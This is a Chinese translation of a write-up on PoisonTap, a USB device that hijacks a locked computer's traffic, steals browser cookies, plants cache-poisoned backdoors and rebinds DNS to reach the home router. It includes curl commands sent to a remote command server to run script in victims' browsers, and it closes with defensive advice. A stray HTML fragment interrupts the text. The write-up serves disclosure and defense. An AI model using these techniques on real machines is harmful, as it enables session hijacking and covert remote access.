模拟以太设备通过USB
从机器劫持所有上网流量(尽管是一个低级优先级/未知的网络接口)
存储Alexa排名top 1000000 的网站的http cookies 和sessions
暴露内部路由器给攻击者,使攻击者可以访问远程WebSocket并且重新绑定DNS(感谢马特·奥斯汀DNS重新绑定的想法!)
安装在HTTP缓存持久基于Web的后门为成千上万个域名和常见的JavaScript CDN的URL,都通过缓存中毒访问用户的cookie
允许攻击者在任何后门域中可以远程强制使用用户的cookie进行HTTP请求和代理回应响应(GET&POST)
不需要机器解锁
即使设备被删除偷走,后门访问仍然继续
[embed]http://v.youku.com/v_show/id_XMTgyMjc3NDU2OA==.html[/embed]
密码保护与屏幕锁定
路由表优先级和和网络接口循序
同源策略
X-Frame-Options
HttpOnly Cookies
SameSite cookie的属性
双因素/多因素验证(2FA / MFA)
DNS绑定
跨域资源共享(CORS)
当安全标记cookie和HSTS未启用时进行HTTPS cookie 保护
PoisonTap是由 价值5$的Raspberry Pi Zero构建的,除了微型USB电缆和microSD卡之外不需要任何其它额外组件,但PoisonTap可以在其它可以模拟USB小部件(如USB Armory和LAN Turtle)的设备上工作。
(incredible HTML5 canvas animation by Ara) Video Demo: https://youtu.be/Aatp5gCskvk Point of Contact: @SamyKamkar // https://samy.pl Released: November 16, 2016 Source code and download: https://github.com/samyk/poisontapHow PoisonTap Works
网络攻击
通常,如果次要网络设备连接到机器,因为它将被给予比现有(受信任)网络设备更低的优先级,并且不会取代用于因特网业务的网关,但是...
任何路由表/网关优先级/网络接口服务顺序安全性由于“LAN流量”优先级超过“Internet流量”而被绕过
PoisonTap利用此网络访问,甚至作为低优先级网络设备,因为低优先级网络设备的子网被给予比最高优先级网络设备的网关(默认路由)更高的优先级
这意味着如果流量为1.2.3.4,而通常此流量将击中主网络设备(非PoisonTap)的默认路由/网关,PoisonTap实际上获取流量,因为PoisonTap“本地”网络/子网包含1.2 .3.4,以及每个其它IP地址存在;)
因此,即使机器连接到具有较高优先级和正确网关(真正的WiFi,以太网等)的另一个网络设备,所有的Internet流量也会经过PoisonTap
抓取Cookie
你可以验证这一点,通过进入devtools / inspector(通常是Cmd + Shift + I或Ctrl + Shift + I),然后点击一个访问量很大的网站,点击网络选项卡,并观察作为远程资源继续访问,即使你在页面上没有采取任何操作。
如果DNS服务器指向PoisonTap无法获得特权的内部IP(LAN),攻击继续有效,因为内部DNS服务器将为受攻击的各个域产生公共IP地址,并且它是PoisonTap的公共IP地址已经劫持
一旦内部DNS服务器响应,Web浏览器将访问公共IP,最终在任一情况下访问PoisonTap Web服务器(Node.js)
域上的任何“X-Frame-Options”安全性都被绕过,因为PoisonTap现在是HTTP服务器,并选择发送到客户端的标头
随着对网站的每个iframe HTTP请求(例如,http://nfl.com/PoisonTap),HTTP cookie从浏览器发送到PoisonTap劫持的“公共IP”,其迅速记录cookie /验证信息,将成千上万的用户的Cookie记录到PoisonTap
任何“HttpOnly”cookie安全性被绕过,并且捕获这些cookie是因为没有Javascript在域本身上执行,而是仅用于首先加载iframe
任何跨源资源共享或同源策略安全性被绕过,因为正在访问的域对浏览器显示合法
由于我们捕获的是Cookie而不是凭据,因此当攻击者使用Cookie登录时,将绕过在网站上实施的任何2FA / MFA。这是因为我们实际上不是执行登录功能,而是继续一个已经登录的会话,不会触发双因素身份验证
如果服务器使用HTTPS,但Cookie未显式设置安全cookie标志,则绕过HTTPS保护,并将cookie发送到PoisonTap
基于web后门的远程访问
例如,当加载http://nfl.com/PoisonTap iframe时,PoisonTap通过Node Web服务器响应HTTP请求接受转向的Internet流量。
添加了其它HTTP头以无限缓存页面
WebSocket保持打开状态,允许攻击者在将来的任何时候连接回后端机器,并在任何有后门实现的源上执行请求(Alexa排名前100万个网站 - 见下文)
如果后门在一个站点(例如,nfl.com)上打开,但用户希望攻击不同的域(例如,pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门(http://pinterest.com/PoisonTap)。
同样,域上的任何“X框架选项”,跨源资源共享和同源策略安全性完全被绕过,因为请求将命中PoisonTap离开的缓存,而不是真正的域
内部路由器后门和远程访问
当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap临时使用专门的PoisonTap IP(1.0.0.1)进行响应,这意味着此时的任何请求都将命中PoisonTap Web服务器
如果期待DNS服务器设置内部网络(例如,192.168.0.x),我们对1.0.0.1.pin.ip.samy.pl服务器发出一个额外的特制请求,几秒之后,它会返回专用DNS服务器(公网的)的信息。
然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置一个后门,暂时指向1.0.0.1版本的PoisonTap设备,它允许后门从PoisonTap设备访问和存储
这可能导致对路由器的其它攻击,攻击者可能从来没有访问过,例如路由器上的默认管理员凭据用于覆盖DNS服务器或暴露的其他身份验证漏洞
Recap of the DNS server:
[ip.addy].ip.samy.pl normally responds with [ip.addy] 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record) [ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy] 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL) (after ~5 seconds) 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
1.此外,PoisonTap替代了成千上万的常见的,基于CDN的Javascript文件,如谷歌和jQuery CDNs。在确定安全的代码加上一个后门,可以让攻击者访问任何域时加载受感染的基于CDN的Javascript文件 2.由于每个域上都留有后门,即使当前受害者没有对当前域任何开放任何窗口,攻击者几乎可以远程强制后端浏览器在任何主域上执行同源请求(AJAX GET / POST) 3.当受害者访问网站时,后门现在可以在任何额外的网站上使用这些受感染的,基于HTTP的CDN Javascript框架
安全预防posion Tap
如果你正在运行一个web服务器,以下是安全防御posion Tap的样例: 1.仅使用HTTPS,至少为认证和已认证的内容使用HTTPS 2.老实说,你应该单独使用HTTPS,并始终将HTTP内容重定向到HTTPS,防止用户通过HTTP提交被欺骗提供的凭据或其它PII 3.确保在Cookie上启用安全标记,防止通过HTTP泄漏HTTPS Cookie 4.使用HSTS防止HTTPS降级攻击
1.拿粘合剂封住USB和Thunderbolt端口效果不错(与第3条类似,不过这里是物理封锁---小编注) 2.每次离开机器时关闭浏览器,不过这是完全不切实际的 3.禁用USB / Thunderbolt端口也是有效的,虽然也不切实际 4.锁定计算机没有任何效果,因为网络和USB堆栈在机器锁定期间操作。但是,计算机进入加密睡眠模式(例如,FileVault2 +深度睡眠)可以解决大多数问题,因为内存需要内存需要秘钥解密,即使你的浏览器被唤醒。它仍然不能提出任何请求。
Source code: https://github.com/samyk/poisontap文件分解
ackdoor.html:每当一个http://hostname/PoisonTap URL命中exfiltrate cookies,这个文件是作为强制缓存的内容返回。它包含一个后门,生成一个出站websocket到samy.pl:1337(可调整到任何主机/端口),保持打开等待服务器的命令。当你在网站上加载iframe(如http://hostname/PoisonTap)时,这意味着这是被填充的内容(即使PoisonTap从计算机中删除)。
backend_server.js :这是你在Internet可访问的服务器上运行的Node.js服务器。 这是正是backdoor.html连接的内容(例如,samy.pl:1337)。 这是你连接到发送命令到你的PoisonTapped minion机器相同的服务器,例如
# pop alert to victim curl 'http://samy.pl:1337/exec?alert("muahahahaha")' # to set a cookie on victim curl 'http://samy.pl:1337/exec?document.cookie="key=value"' # to force victim to load a url via ajax (note, jQuery is stored inside the backdoor) curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
<ul font-size:16px;background-color:#ffffff;"="" style="font-size: 12px; white-space: normal; padding: 0px; list-style: none; text-align: center; background-color: rgb(255, 255, 255); color: rgb(34, 34, 34); font-family: "Microsoft YaHei" !important;">
pi_poisontap.js:它通过Raspberry Pi Zero上的Node.js运行,是PoisonTap是负责截获的来自HTTP服务器的任何请求的,是存储Cookie和注入缓存的后门。
pi_startup.sh:它在Raspberry Pi Zero上启动时运行,以便将设备设置为模拟USB以太网小配件,为我们设置恶意DHCP服务器,允许流量重走,DNS欺骗,并启动上面的pi_poisontap.js。
target_backdoor.js: 此文件预先放在任何与CDN相关的Javascript文件中,从而将其封锁。
target_injected_xhtmljs.html:这是在受害者的机器上注入无意/后台HTTP / AJAX请求并产生整个攻击的代码。它的构造方式使得它可以解释为HTML或Javascript,并且仍然执行相同的代码。
poisontap.cookies.log: 一旦用户的计算机开始向PoisonTap发送HTTP请求,并且记录来自浏览器的cookie及其所属的相关URL /域,就会生成此文件。